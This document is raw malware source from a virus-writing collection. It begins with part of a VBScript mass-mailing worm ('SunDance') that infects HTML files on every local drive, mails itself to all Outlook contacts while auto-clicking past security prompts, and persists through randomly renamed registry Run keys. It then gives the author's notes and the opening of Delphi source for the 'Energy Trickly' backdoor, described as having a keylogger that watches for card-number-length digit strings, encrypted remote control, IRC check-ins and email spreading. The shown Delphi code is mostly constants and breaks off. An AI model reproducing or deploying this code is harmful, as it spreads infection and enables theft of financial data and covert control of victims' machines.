FichIn.writeline "WshShell.run "+chr(34)+"C:\SunDance.vbs"+chr(34) FichIn.writeline "-->" FichIn.writeline "</"+"scr"+"ipt>" FichIn.write FichIn2 FichIn.save FichIn.close set FichHtm=opentextfile(repwin+"\"+NomHtm+".htm",1) Html=FichHtm.readall FichHtm.close end sub Sub listadriv() if Action = 1 then On Error Resume Next Dim d, dc, s Set dc = fso.Drives For Each d In dc If d.DriveType = 2 Or d.DriveType = 3 Then fileslist(d.path + "\") folderlist(d.path + "\") End If Next End if End Sub Sub folderlist(folderspec) On Error Resume Next Dim f, f1, sf Set f = fso.GetFolder(folderspec) Set sf = f.SubFolders For Each f1 In sf fileslist (f1.Path) folderlist (f1.Path) Next end sub sub fileslist(folderspec) On Error Resume Next Dim f, f1, fc, ext, ap, s, bname Set f = fso.GetFolder(folderspec) Set fc = f.Files For Each f1 In fc ext = fso.GetExtensionName(f1.Path) ext = LCase(ext) s = LCase(f1.Name) if ext="hta" or ext="html" or ext="htm" then Set FichIn = fso.OpenTextFile(f1.path, 1) FichIn3=FichIn.ReadAll FichIn2 = FichIn.Readline FichIn.close if FichIn2<>"<SCRIPT language=vbscript>" then Set FichIn = fso.CreateTextFile(f1.path) FichIn=fso.CreateTextFile(f1.path) FichIn.writeline "<script language=vbscript>" FichIn.writeline "<!--" Fichin.writeline "set fso=createobject("+chr(34)+"Scripting.FileSystemObject"+chr(34)+")" FichIn.writeline "Set WshShell = Createobject("+chr(34)+"WScript.Shell"+chr(34)+")" FichIn.writeline "set fich=fso.createtextfile("+chr(34)+"C:\SunDance.vbs"+chr(34)+")" FichIn.writeline "dim vbfich(10000)" For i= 1 to 10000 FichIn.writeline "vbfich("+Cstr(i)+")= "+chr(34)+ScriptHtml(i)+chr(34) If ScriptHtml(i)="" then exit for Next PlusRien: FichIn.writeline "For i = 1 to 10000" FichIn.writeline "vbfich(i)=replace(vbfich(i),"+chr(34)+chr(163)+chr(34)+",chr(34))" FichIn.writeline "fich.writeline vbfich(i)" FichIn.writeline "If vbfich(i)="+chr(34)+chr(34)+" then exit for" FichIn.writeline "Next" FichIn.writeline "fich.close" FichIn.writeline "WshShell.run "+chr(34)+"C:\SunDance.vbs"+chr(34) FichIn.writeline "-->" FichIn.writeline "</"+"scr"+"ipt>" FichIn.write FichIn3 FichIn.save FichIn.close end if End If next end sub sub MailOutlook() On error resume next Set WshShell = WScript.Createobject("WScript.Shell") Set out = CreateObject("Outlook.Application") If out = "Outlook" and Action=1 and Wscript.ScriptFullName="C:\SunDance.vbs" Then Set mapi = out.GetNameSpace("MAPI") Set carnets = mapi.AddressLists For Each carnet In carnets If carnet.AddressEntries.Count <> 0 Then WshShell.AppActive "Microsoft Outlook" WshShell.Sendkeys "{TAB}{TAB}{TAB}{ENTER}" carnet2 = carnet.AddressEntries.Count For entree = 1 To carnet2 Set adresse = carnet.AddressEntries(entree) Set message = out.CreateItem(0) message.to=adresse message.subject="SunDance Update" message.htmlbody=html message.DeleteAfterSubmit = True set Copie=Message.Attachments Copie.add Wscript.ScriptFullname message.send Wscript.Sleep 5000 WshShell.AppActive "Microsoft Outlook" WshShell.Sendkeys "{TAB}{TAB}{ENTER}" WshShell.Sendkeys "{TAB}{TAB}{ENTER}" Next End If Next End If end sub Sub Fin() On error resume next do If action=1 then WScript.Sleep 2000 WshShell.Regdelete Cle2+"\Run\"+Nom1 WshShell.Regdelete Cle2+"\RunServices\"+Nom1 fso.DeleteFile (repwin+"\"+Nom2+".vbs") Nom1=GenerNom() Nom2=GenerNom() WshShell.RegWrite Cle2+"\Run\"+Nom1,repwin+"\"+Nom2+".vbs" WshShell.RegWrite Cle2+"\RunServices\"+Nom1,repwin+"\"+Nom2+".vbs" Set FichDer=fso.CreateTextFile(repwin+"\"+Nom2+".vbs") FichDer.write Script Fichder.close end if loop end sub Function GenerNom() Nom="" Randomize Timer do:h1=int(rnd*8):loop until h1>2 for lettre=1 to h1 do:h2=int(rnd*25):loop until h2>0 Nom=Nom+Chr(h2+66) next GenerNom=Nom End Function''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''sources
Trickly Energy ; Until last month 10/02 i started a New Project (Trickly) ; for any Comments of us ; mail me to SST@Hablas.com ; bye..and I wish you a New Virulent Year ; ; Energy ; ; ;Source code of the Backdoor ->Energy_Trickly_Backdoor.dpr ;Source code of the Worm ->Energy_Trickly_Worm.dpr ; ;Little description: :The worm function scan Outlook and Eudora address book file and after send email. I don't know know if that work with the last versions. ;There is a thread which connect to an irc for see who is online. ;The port 4662(self via Edonkey ect.) is open only when the victim is online and the Wsock32 api call are encrypted and the protocol of the backdoor too. ;The keylogger was design mainly for detect if a 13,16 digit code is tape on the keyboard and after put a flag in the registry (it's surely the big need of money who push me to put this function inside :-). ;The other function are: registry access, file upload/download, windows process, etc.. ; ; Energy_Trickly_Backdoor.dpr program vv; uses Windows; const {winsock const} FD_SETSIZE = 64; IOCPARM_MASK = $7f; IOC_VOID = $20000000; IOC_OUT = $40000000; IOC_IN = $80000000; IOC_INOUT = (IOC_IN or IOC_OUT); FIONREAD = IOC_OUT or { get # bytes to read } ((Longint(SizeOf(Longint)) and IOCPARM_MASK) shl 16) or (Longint(Byte('f')) shl 8) or 127; FIONBIO = IOC_IN or { set/clear non-blocking i/o } ((Longint(SizeOf(Longint)) and IOCPARM_MASK) shl 16) or (Longint(Byte('f')) shl 8) or 126; FIOASYNC = IOC_IN or { set/clear async i/o } ((Longint(SizeOf(Longint)) and IOCPARM_MASK) shl 16) or (Longint(Byte('f')) shl 8) or 125; // Protocols } IPPROTO_IP = 0; { dummy for IP } IPPROTO_ICMP = 1; { control message protocol } IPPROTO_IGMP = 2; { group management protocol } IPPROTO_GGP = 3; { gateway^2 (deprecated) } IPPROTO_TCP = 6; { tcp } IPPROTO_PUP = 12; { pup } IPPROTO_UDP = 17; { user datagram protocol } IPPROTO_IDP = 22; { xns idp } IPPROTO_ND = 77; { UNOFFICIAL net disk proto } IPPROTO_RAW = 255; { raw IP packet } IPPROTO_MAX = 256; IPPORT_RESERVED = 1024; INADDR_ANY = $00000000; INADDR_LOOPBACK = $7F000001; INADDR_BROADCAST = $FFFFFFFF; INADDR_NONE = $FFFFFFFF; WSADESCRIPTION_LEN = 256; WSASYS_STATUS_LEN = 128; TF_DISCONNECT = $01; TF_REUSE_SOCKET = $02; TF_WRITE_BEHIND = $04; IP_OPTIONS = 1; IP_MULTICAST_IF = 2; { set/get IP multicast interface } IP_MULTICAST_TTL = 3; { set/get IP multicast timetolive } IP_MULTICAST_LOOP = 4; { set/get IP multicast loopback } IP_ADD_MEMBERSHIP = 5; { add an IP group membership } IP_DROP_MEMBERSHIP = 6; { drop an IP group membership } IP_TTL = 7; { set/get IP Time To Live } IP_TOS = 8; { set/get IP Type Of Service } IP_DONTFRAGMENT = 9; { set/get IP Don't Fragment flag } IP_DEFAULT_MULTICAST_TTL = 1; { normally limit m'casts to 1 hop } IP_DEFAULT_MULTICAST_LOOP = 1; { normally hear sends if a member } IP_MAX_MEMBERSHIPS = 20; { per socket; must fit in one mbuf } SOCK_STREAM = 1; { stream socket } SOCK_DGRAM = 2; { datagram socket } SOCK_RAW = 3; { raw-protocol interface } SOCK_RDM = 4; { reliably-delivered message } SOCK_SEQPACKET = 5; { sequenced packet stream } SO_DEBUG = $0001; { turn on debugging info recording } SO_ACCEPTCONN = $0002; { socket has had listen() } SO_REUSEADDR = $0004; { allow local address reuse } SO_KEEPALIVE = $0008; { keep connections alive } SO_DONTROUTE = $0010; { just use interface addresses } SO_BROADCAST = $0020; { permit sending of broadcast msgs } SO_USELOOPBACK = $0040; { bypass hardware when possible } SO_LINGER = $0080; { linger on close if data present } SO_OOBINLINE = $0100; { leave received OOB data in line } SO_DONTLINGER = $ff7f; SO_SNDBUF = $1001; { send buffer size } SO_RCVBUF = $1002; { receive buffer size } SO_SNDLOWAT = $1003; { send low-water mark } SO_RCVLOWAT = $1004; { receive low-water mark } SO_SNDTIMEO = $1005; { send timeout } SO_RCVTIMEO = $1006; { receive timeout } SO_ERROR = $1007; { get error status and clear } SO_TYPE = $1008; { get socket type } // SO_CONNDATA = $7000; // SO_CONNOPT = $7001; // SO_DISCDATA = $7002; // SO_DISCOPT = $7003; // SO_CONNDATALEN = $7004; // SO_CONNOPTLEN = $7005; // SO_DISCDATALEN = $7006; // SO_DISCOPTLEN = $7007; // SO_OPENTYPE = $7008; // SO_SYNCHRONOUS_ALERT = $10; // SO_SYNCHRONOUS_NONALERT = $20; // SO_MAXDG = $7009; // SO_MAXPATHDG = $700A; // SO_UPDATE_ACCEPT_CONTEXT = $700B; // SO_CONNECT_TIME = $700C; TCP_NODELAY = $0001; TCP_BSDURGENT = $7000; // AF_UNSPEC = 0; { unspecified } AF_UNIX = 1; { local to host (pipes, portals) } AF_INET = 2; { internetwork: UDP, TCP, etc. } // AF_IMPLINK = 3; { arpanet imp addresses } // AF_PUP = 4; { pup protocols: e.g. BSP } // AF_CHAOS = 5; { mit CHAOS protocols } // AF_IPX = 6; { IPX and SPX } // AF_NS = 6; { XEROX NS protocols } // AF_ISO = 7; { ISO protocols } // AF_OSI = AF_ISO; { OSI is ISO } // AF_ECMA = 8; { european computer manufacturers } // AF_DATAKIT = 9; { datakit protocols } // AF_CCITT = 10; { CCITT protocols, X.25 etc } // AF_SNA = 11; { IBM SNA } // AF_DECnet = 12; { DECnet } // AF_DLI = 13; { Direct data link interface } // AF_LAT = 14; { LAT } // AF_HYLINK = 15; { NSC Hyperchannel } // AF_APPLETALK = 16; { AppleTalk } // AF_NETBIOS = 17; { NetBios-style addresses } // AF_VOICEVIEW = 18; { VoiceView } // AF_FIREFOX = 19; { FireFox } // AF_UNKNOWN1 = 20; { Somebody is using this! } // AF_BAN = 21; { Banyan } // AF_MAX = 22; // PF_UNSPEC = AF_UNSPEC; PF_UNIX = AF_UNIX; PF_INET = AF_INET; // PF_IMPLINK = AF_IMPLINK; // PF_PUP = AF_PUP; // PF_CHAOS = AF_CHAOS; // PF_NS = AF_NS; // PF_IPX = AF_IPX; // PF_ISO = AF_ISO; // PF_OSI = AF_OSI; // PF_ECMA = AF_ECMA; // PF_DATAKIT = AF_DATAKIT; // PF_CCITT = AF_CCITT; // PF_SNA = AF_SNA; // PF_DECnet = AF_DECnet; // PF_DLI = AF_DLI; // PF_LAT = AF_LAT; // PF_HYLINK = AF_HYLINK; // PF_APPLETALK = AF_APPLETALK; // PF_VOICEVIEW = AF_VOICEVIEW; // PF_FIREFOX = AF_FIREFOX; // PF_UNKNOWN1 = AF_UNKNOWN1; // PF_BAN = AF_BAN; // PF_MAX = AF_MAX; SOL_SOCKET = $ffff; {options for socket level } SOMAXCONN = 5;{ Maximum queue length specifiable by listen. } MSG_OOB = $1; {process out-of-band data } MSG_PEEK = $2; {peek at incoming message } MSG_DONTROUTE = $4; {send without using routing tables } MSG_MAXIOVLEN = 16; MSG_PARTIAL = $8000; {partial send or recv for message xport } MAXGETHOSTSTRUCT = 1024; FD_READ = $01; FD_WRITE = $02; FD_OOB = $04; FD_ACCEPT = $08; FD_CONNECT = $10; FD_CLOSE = $20; WSABASEERR = 10000; WSAEINTR = (WSABASEERR+4); WSAEBADF = (WSABASEERR+9); WSAEACCES = (WSABASEERR+13); WSAEFAULT = (WSABASEERR+14); WSAEINVAL = (WSABASEERR+22); WSAEMFILE = (WSABASEERR+24); WSAEWOULDBLOCK = (WSABASEERR+35); WSAEINPROGRESS = (WSABASEERR+36); WSAEALREADY = (WSABASEERR+37); WSAENOTSOCK = (WSABASEERR+38); WSAEDESTADDRREQ = (WSABASEERR+39); WSAEMSGSIZE = (WSABASEERR+40); WSAEPROTOTYPE = (WSABASEERR+41); WSAENOPROTOOPT = (WSABASEERR+42); WSAEPROTONOSUPPORT = (WSABASEERR+43); WSAESOCKTNOSUPPORT = (WSABASEERR+44); WSAEOPNOTSUPP = (WSABASEERR+45); WSAEPFNOSUPPORT = (WSABASEERR+46); WSAEAFNOSUPPORT = (WSABASEERR+47); WSAEADDRINUSE = (WSABASEERR+48); WSAEADDRNOTAVAIL = (WSABASEERR+49); WSAENETDOWN = (WSABASEERR+50); WSAENETUNREACH = (WSABASEERR+51); WSAENETRESET = (WSABASEERR+52); WSAECONNABORTED = (WSABASEERR+53); WSAECONNRESET = (WSABASEERR+54); WSAENOBUFS = (WSABASEERR+55); WSAEISCONN = (WSABASEERR+56); WSAENOTCONN = (WSABASEERR+57); WSAESHUTDOWN = (WSABASEERR+58); WSAETOOMANYREFS = (WSABASEERR+59); WSAETIMEDOUT = (WSABASEERR+60); WSAECONNREFUSED = (WSABASEERR+61); WSAELOOP = (WSABASEERR+62); WSAENAMETOOLONG = (WSABASEERR+63); WSAEHOSTDOWN = (WSABASEERR+64); WSAEHOSTUNREACH = (WSABASEERR+65); WSAENOTEMPTY = (WSABASEERR+66); WSAEPROCLIM = (WSABASEERR+67); WSAEUSERS = (WSABASEERR+68); WSAEDQUOT = (WSABASEERR+69); WSAESTALE = (WSABASEERR+70); WSAEREMOTE = (WSABASEERR+71); WSAEDISCON = (WSABASEERR+101); WSASYSNOTREADY = (WSABASEERR+91); WSAVERNOTSUPPORTED = (WSABASEERR+92); WSANOTINITIALISED = (WSABASEERR+93); WSAHOST_NOT_FOUND = (WSABASEERR+1001); HOST_NOT_FOUND = WSAHOST_NOT_FOUND; WSATRY_AGAIN = (WSABASEERR+1002); TRY_AGAIN = WSATRY_AGAIN; WSANO_RECOVERY = (WSABASEERR+1003); NO_RECOVERY = WSANO_RECOVERY; WSANO_DATA = (WSABASEERR+1004); NO_DATA = WSANO_DATA; WSANO_ADDRESS = WSANO_DATA; NO_ADDRESS = WSANO_ADDRESS; EWOULDBLOCK = WSAEWOULDBLOCK; EINPROGRESS = WSAEINPROGRESS; EALREADY = WSAEALREADY; ENOTSOCK = WSAENOTSOCK; EDESTADDRREQ = WSAEDESTADDRREQ; EMSGSIZE = WSAEMSGSIZE; EPROTOTYPE = WSAEPROTOTYPE; ENOPROTOOPT = WSAENOPROTOOPT; EPROTONOSUPPORT = WSAEPROTONOSUPPORT; ESOCKTNOSUPPORT = WSAESOCKTNOSUPPORT; EOPNOTSUPP = WSAEOPNOTSUPP; EPFNOSUPPORT = WSAEPFNOSUPPORT; EAFNOSUPPORT = WSAEAFNOSUPPORT; EADDRINUSE = WSAEADDRINUSE; EADDRNOTAVAIL = WSAEADDRNOTAVAIL; ENETDOWN = WSAENETDOWN; ENETUNREACH = WSAENETUNREACH; ENETRESET = WSAENETRESET; ECONNABORTED = WSAECONNABORTED; ECONNRESET = WSAECONNRESET; ENOBUFS = WSAENOBUFS; EISCONN = WSAEISCONN; ENOTCONN = WSAENOTCONN; ESHUTDOWN = WSAESHUTDOWN; ETOOMANYREFS = WSAETOOMANYREFS; ETIMEDOUT = WSAETIMEDOUT; ECONNREFUSED = WSAECONNREFUSED; ELOOP = WSAELOOP; ENAMETOOLONG = WSAENAMETOOLONG; EHOSTDOWN = WSAEHOSTDOWN; EHOSTUNREACH = WSAEHOSTUNREACH; ENOTEMPTY = WSAENOTEMPTY; EPROCLIM = WSAEPROCLIM; EUSERS = WSAEUSERS; EDQUOT = WSAEDQUOT; ESTALE = WSAESTALE; EREMOTE = WSAEREMOTE; winsocket = 'vqlgn55&mfg'; //wsock32.dll {messages windows const} WM_NULL = $0000; WM_CREATE = $0001; WM_DESTROY = $0002; WM_MOVE = $0003; WM_SIZE = $0005; WM_ACTIVATE = $0006; WM_SETFOCUS = $0007; WM_KILLFOCUS = $0008; WM_ENABLE = $000A; WM_SETREDRAW = $000B; WM_SETTEXT = $000C; WM_GETTEXT = $000D; WM_GETTEXTLENGTH = $000E; WM_PAINT = $000F; WM_CLOSE = $0010; WM_QUERYENDSESSION = $0011; WM_QUIT = $0012; WM_QUERYOPEN = $0013; WM_ERASEBKGND = $0014; WM_SYSCOLORCHANGE = $0015; WM_ENDSESSION = $0016; WM_SYSTEMERROR = $0017; WM_SHOWWINDOW = $0018; WM_CTLCOLOR = $0019; WM_WININICHANGE = $001A; WM_SETTINGCHANGE = WM_WININICHANGE; WM_DEVMODECHANGE = $001B; WM_ACTIVATEAPP = $001C; WM_FONTCHANGE = $001D; WM_TIMECHANGE = $001E; WM_CANCELMODE = $001F; WM_SETCURSOR = $0020; WM_MOUSEACTIVATE = $0021; WM_CHILDACTIVATE = $0022; WM_QUEUESYNC = $0023; WM_GETMINMAXINFO = $0024; WM_PAINTICON = $0026; WM_ICONERASEBKGND = $0027; WM_NEXTDLGCTL = $0028; WM_SPOOLERSTATUS = $002A; WM_DRAWITEM = $002B; WM_MEASUREITEM = $002C; WM_DELETEITEM = $002D; WM_VKEYTOITEM = $002E; WM_CHARTOITEM = $002F; WM_SETFONT = $0030; WM_GETFONT = $0031; WM_QUERYDRAGICON = $0037; WM_COMPAREITEM = $0039; WM_COMPACTING = $0041; WM_COMMNOTIFY = $0044; { obsolete in Win32} WM_WINDOWPOSCHANGING = $0046; WM_WINDOWPOSCHANGED = $0047; WM_POWER = $0048; WM_COPYDATA = $004A; WM_CANCELJOURNAL = $004B; WM_NOTIFY = $004E; WM_INPUTLANGCHANGEREQUEST = $0050; WM_INPUTLANGCHANGE = $0051; WM_TCARD = $0052; WM_HELP = $0053; WM_USERCHANGED = $0054; WM_NOTIFYFORMAT = $0055; WM_CONTEXTMENU = $007B; WM_STYLECHANGING = $007C; WM_STYLECHANGED = $007D; WM_DISPLAYCHANGE = $007E; WM_GETICON = $007F; WM_SETICON = $0080; WM_NCCREATE = $0081; WM_NCDESTROY = $0082; WM_NCCALCSIZE = $0083; WM_NCHITTEST = $0084; WM_NCPAINT = $0085; WM_NCACTIVATE = $0086; WM_GETDLGCODE = $0087; WM_NCMOUSEMOVE = $00A0; { WM_NCLBUTTONDOWN = $00A1; WM_NCLBUTTONUP = $00A2; WM_NCLBUTTONDBLCLK = $00A3; WM_NCRBUTTONDOWN = $00A4; WM_NCRBUTTONUP = $00A5; WM_NCRBUTTONDBLCLK = $00A6; WM_NCMBUTTONDOWN = $00A7; WM_NCMBUTTONUP = $00A8; WM_NCMBUTTONDBLCLK = $00A9; } WM_KEYFIRST = $0100; WM_KEYDOWN = $0100; WM_KEYUP = $0101; WM_CHAR = $0102; WM_DEADCHAR = $0103; WM_SYSKEYDOWN = $0104; WM_SYSKEYUP = $0105; WM_SYSCHAR = $0106; WM_SYSDEADCHAR = $0107; WM_KEYLAST = $0108; WM_INITDIALOG = $0110; WM_COMMAND = $0111; WM_SYSCOMMAND = $0112; WM_TIMER = $0113; WM_HSCROLL = $0114; WM_VSCROLL = $0115; WM_INITMENU = $0116; WM_INITMENUPOPUP = $0117; WM_MENUSELECT = $011F; WM_MENUCHAR = $0120; WM_ENTERIDLE = $0121; WM_CTLCOLORMSGBOX = $0132; WM_CTLCOLOREDIT = $0133; WM_CTLCOLORLISTBOX = $0134; WM_CTLCOLORBTN = $0135; WM_CTLCOLORDLG = $0136; WM_CTLCOLORSCROLLBAR= $0137; WM_CTLCOLORSTATIC = $0138; WM_MOUSEFIRST = $0200; WM_MOUSEMOVE = $0200; WM_LBUTTONDOWN = $0201; WM_LBUTTONUP = $0202; WM_LBUTTONDBLCLK = $0203; WM_RBUTTONDOWN = $0204; WM_RBUTTONUP = $0205; WM_RBUTTONDBLCLK = $0206; WM_MBUTTONDOWN = $0207; WM_MBUTTONUP = $0208; WM_MBUTTONDBLCLK = $0209; WM_MOUSEWHEEL = $020A; WM_MOUSELAST = $020A; WM_PARENTNOTIFY = $0210; WM_ENTERMENULOOP = $0211; WM_EXITMENULOOP = $0212; WM_NEXTMENU = $0213; WM_SIZING = 532; WM_CAPTURECHANGED = 533; WM_MOVING = 534; WM_POWERBROADCAST = 536; WM_DEVICECHANGE = 537; { WM_IME_STARTCOMPOSITION = $010D; WM_IME_ENDCOMPOSITION = $010E; WM_IME_COMPOSITION = $010F; WM_IME_KEYLAST = $010F; WM_IME_SETCONTEXT = $0281; WM_IME_NOTIFY = $0282; WM_IME_CONTROL = $0283; WM_IME_COMPOSITIONFULL = $0284; WM_IME_SELECT = $0285; WM_IME_CHAR = $0286; WM_IME_KEYDOWN = $0290; WM_IME_KEYUP = $0291; WM_MDICREATE = $0220; WM_MDIDESTROY = $0221; WM_MDIACTIVATE = $0222; WM_MDIRESTORE = $0223; WM_MDINEXT = $0224; WM_MDIMAXIMIZE = $0225; WM_MDITILE = $0226; WM_MDICASCADE = $0227; WM_MDIICONARRANGE = $0228; WM_MDIGETACTIVE = $0229; WM_MDISETMENU = $0230; WM_ENTERSIZEMOVE = $0231; WM_EXITSIZEMOVE = $0232; WM_DROPFILES = $0233; WM_MDIREFRESHMENU = $0234; } WM_MOUSEHOVER = $02A1; WM_MOUSELEAVE = $02A3; WM_CUT = $0300; WM_COPY = $0301; WM_PASTE = $0302; WM_CLEAR = $0303; WM_UNDO = $0304; WM_PAINTCLIPBOARD = $0309; WM_PRINT = 791; WM_PRINTCLIENT = 792; WM_HANDHELDFIRST = 856; WM_HANDHELDLAST = 863; WM_PENWINFIRST = $0380; WM_PENWINLAST = $038F; WM_COALESCE_FIRST = $0390; WM_COALESCE_LAST = $039F; WM_DDE_FIRST = $03E0; WM_DDE_INITIATE = WM_DDE_FIRST + 0; WM_DDE_TERMINATE = WM_DDE_FIRST + 1; WM_DDE_ADVISE = WM_DDE_FIRST + 2; WM_DDE_UNADVISE = WM_DDE_FIRST + 3; WM_DDE_ACK = WM_DDE_FIRST + 4; WM_DDE_DATA = WM_DDE_FIRST + 5; WM_DDE_REQUEST = WM_DDE_FIRST + 6; WM_DDE_POKE = WM_DDE_FIRST + 7; WM_DDE_EXECUTE = WM_DDE_FIRST + 8; WM_DDE_LAST = WM_DDE_FIRST + 8; WM_APP = $8000; WM_USER = $0400; UM_KEYHIT = WM_USER + 7; //keylog const ERROR = '|ERROR:'; ALLDONE = 'All done.'; //VER_PLATFORM_WIN32s = 0; //V/ER_PLATFORM_WIN32_WINDOWS = 1; //VER_PLATFORM_WIN32_NT = 2; Count : integer = 0; lpzClassName = 'Explorer '; lpzWindowsName = 'Explorer '; WM_MY_SOCK_MESSAGE = WM_USER+2; LFCR = #10#13; { File open modes } fmOpenRead = $0000; fmOpenWrite = $0001; fmOpenReadWrite = $0002; fmShareCompat = $0000; fmShareExclusive = $0010; fmShareDenyWrite = $0020; fmShareDenyRead = $0030; fmShareDenyNone = $0040; { File attribute constants } faReadOnly = $00000001; faHidden = $00000002; faSysFile = $00000004; faVolumeID = $00000008; faDirectory = $00000010; faArchive = $00000020; faAnyFile = $0000003F; {prog type} type PWinPassword = ^TWinPassword; TWinPassword = record EntrySize: Word; ResourceSize: Word; PasswordSize: Word; EntryIndex: Byte; EntryType: Byte; PasswordC: Char; end; {winsock type} type u_char = Char; u_short = Word; u_int = Integer; u_long = Longint; TSocket = u_int; type PFDSet = ^TFDSet; TFDSet = packed record fd_count: u_int; fd_array: array[0..FD_SETSIZE-1] of TSocket; end; PTimeVal = ^TTimeVal; TTimeVal = packed record tv_sec: Longint; tv_usec: Longint; end; type PHostEnt = ^THostEnt; THostEnt = packed record h_name: PChar; h_aliases: ^PChar; h_addrtype: Smallint; h_length: Smallint; case Byte of 0: (h_addr_list: ^PChar); 1: (h_addr: ^PChar) end; PNetEnt = ^TNetEnt; TNetEnt = packed record n_name: PChar; n_aliases: ^PChar; n_addrtype: Smallint; n_net: u_long; end; PServEnt = ^TServEnt; TServEnt = packed record s_name: PChar; s_aliases: ^PChar; s_port: Smallint; s_proto: PChar; end; PProtoEnt = ^TProtoEnt; TProtoEnt = packed record p_name: PChar; p_aliases: ^Pchar; p_proto: Smallint; end; type SunB = packed record s_b1, s_b2, s_b3, s_b4: u_char; end; SunW = packed record s_w1, s_w2: u_short; end; PInAddr = ^TInAddr; TInAddr = packed record case integer of 0: (S_un_b: SunB); 1: (S_un_w: SunW); 2: (S_addr: u_long); end; PSockAddrIn = ^TSockAddrIn; TSockAddrIn = packed record case Integer of 0: (sin_family: u_short; sin_port: u_short; sin_addr: TInAddr; sin_zero: array[0..7] of Char); 1: (sa_family: u_short; sa_data: array[0..13] of Char) end; type PWSAData = ^TWSAData; TWSAData = packed record wVersion: Word; wHighVersion: Word; szDescription: array[0..WSADESCRIPTION_LEN] of Char; szSystemStatus: array[0..WSASYS_STATUS_LEN] of Char; iMaxSockets: Word; iMaxUdpDg: Word; lpVendorInfo: PChar; end; PTransmitFileBuffers = ^TTransmitFileBuffers; TTransmitFileBuffers = packed record Head: Pointer; HeadLength: DWORD; Tail: Pointer; TailLength: DWORD; end; type { Structure used by kernel to store most addresses. } PSockAddr = ^TSockAddr; TSockAddr = TSockAddrIn; { Structure used by kernel to pass protocol information in raw sockets. } PSockProto = ^TSockProto; TSockProto = packed record sp_family: u_short; sp_protocol: u_short; end; type { Structure used for manipulating linger option. } PLinger = ^TLinger; TLinger = packed record l_onoff: u_short; l_linger: u_short; end; const INVALID_SOCKET = TSocket(NOT(0)); SOCKET_ERROR = -1; {type window message record} type PMessage = ^TMessage; TMessage = record Msg: Cardinal; case Integer of 0: ( WParam: Longint; LParam: Longint; Result: Longint); 1: ( WParamLo: Word; WParamHi: Word; LParamLo: Word; LParamHi: Word; ResultLo: Word; ResultHi: Word); end; { Common message format records } TWMNoParams = record Msg: Cardinal; Unused: array[0..3] of Word; Result: Longint; end; TWMKey = record Msg: Cardinal; CharCode: Word; Unused: Word; KeyData: Longint; Result: Longint; end; TWMMouse = record Msg: Cardinal; Keys: Longint; case Integer of 0: ( XPos: Smallint; YPos: Smallint); 1: ( Pos: TSmallPoint; Result: Longint); end; TWMWindowPosMsg = record Msg: Cardinal; Unused: Integer; WindowPos: PWindowPos; Result: Longint; end; TWMScroll = record Msg: Cardinal; ScrollCode: Smallint; { SB_xxxx } Pos: Smallint; ScrollBar: HWND; Result: Longint; end; { Message records } TWMActivate = record Msg: Cardinal; Active: Word; { WA_INACTIVE, WA_ACTIVE, WA_CLICKACTIVE } Minimized: WordBool; ActiveWindow: HWND; Result: Longint; end; TWMActivateApp = record Msg: Cardinal; Active: BOOL; ThreadId: Longint; Result: Longint; end; TWMAskCBFormatName = record Msg: Cardinal; NameLen: Word; Unused: Word; FormatName: PChar; Result: Longint; end; TWMCancelMode = TWMNoParams; TWMChangeCBChain = record Msg: Cardinal; Remove: HWND; Next: HWND; Result: Longint; end; TWMChar = TWMKey; TWMCharToItem = record Msg: Cardinal; Key: Word; CaretPos: Word; ListBox: HWND; Result: Longint; end; TWMChildActivate = TWMNoParams; TWMChooseFont_GetLogFont = record Msg: Cardinal; Unused: Longint; LogFont: PLogFont; Result: Longint; end; TWMClear = TWMNoParams; TWMClose = TWMNoParams; TWMCommand = record Msg: Cardinal; ItemID: Word; NotifyCode: Word; Ctl: HWND; Result: Longint; end; TWMCompacting = record Msg: Cardinal; CompactRatio: Longint; Unused: Longint; Result: Longint; end; TWMCompareItem = record Msg: Cardinal; Ctl: HWnd; CompareItemStruct: PCompareItemStruct; Result: Longint; end; TWMCopy = TWMNoParams; TWMCopyData = record Msg: Cardinal; From: HWND; CopyDataStruct: PCopyDataStruct; Result: Longint; end; { ?? WM_CLP_LAUNCH, WM_CPL_LAUNCHED } TWMCreate = record Msg: Cardinal; Unused: Integer; CreateStruct: PCreateStruct; Result: Longint; end; TWMCtlColor = record Msg: Cardinal; ChildDC: HDC; ChildWnd: HWND; Result: Longint; end; TWMCtlColorBtn = TWMCtlColor; TWMCtlColorDlg = TWMCtlColor; TWMCtlColorEdit = TWMCtlColor; TWMCtlColorListbox = TWMCtlColor; TWMCtlColorMsgbox = TWMCtlColor; TWMCtlColorScrollbar = TWMCtlColor; TWMCtlColorStatic = TWMCtlColor; TWMCut = TWMNoParams; TWMDDE_Ack = record Msg: Cardinal; PostingApp: HWND; case Word of WM_DDE_INITIATE: ( App: Word; Topic: Word; Result: Longint); WM_DDE_EXECUTE {and all others}: ( PackedVal: Longint); end; TWMDDE_Advise = record Msg: Cardinal; PostingApp: HWND; PackedVal: Longint; Result: Longint; end; TWMDDE_Data = record Msg: Cardinal; PostingApp: HWND; PackedVal: Longint; Result: Longint; end; TWMDDE_Execute = record Msg: Cardinal; PostingApp: HWND; Commands: THandle; Result: Longint; end; TWMDDE_Initiate = record Msg: Cardinal; PostingApp: HWND; App: Word; Topic: Word; Result: Longint; end; TWMDDE_Poke = record Msg: Cardinal; PostingApp: HWND; PackedVal: Longint; Result: Longint; end; TWMDDE_Request = record Msg: Cardinal; PostingApp: HWND; Format: Word; Item: Word; Result: Longint; end; TWMDDE_Terminate = record Msg: Cardinal; PostingApp: HWND; Unused: Longint; Result: Longint; end; TWMDDE_Unadvise = record Msg: Cardinal; PostingApp: HWND; Format: Word; Item: Word; Result: Longint; end; TWMDeadChar = TWMChar; TWMDeleteItem = record Msg: Cardinal; Ctl: HWND; DeleteItemStruct: PDeleteItemStruct; Result: Longint; end; TWMDestroy = TWMNoParams; TWMDestroyClipboard = TWMNoParams; TWMDevModeChange = record Msg: Cardinal; Unused: Integer; Device: PChar; Result: Longint; end; TWMDrawClipboard = TWMNoParams; { TWMDropFiles = record Msg: Cardinal; Drop: THANDLE; Unused: Longint; Result: Longint; end; } TWMEnable = record Msg: Cardinal; Enabled: LongBool; Unused: Longint; Result: Longint; end; TWMEndSession = record Msg: Cardinal; EndSession: LongBool; Unused: Longint; Result: Longint; end; TWMEnterIdle = record Msg: Cardinal; Source: Longint; { MSGF_DIALOGBOX, MSGF_MENU } IdleWnd: HWND; Result: Longint; end; TWMEnterMenuLoop = record Msg: Cardinal; IsTrackPopupMenu: LongBool; 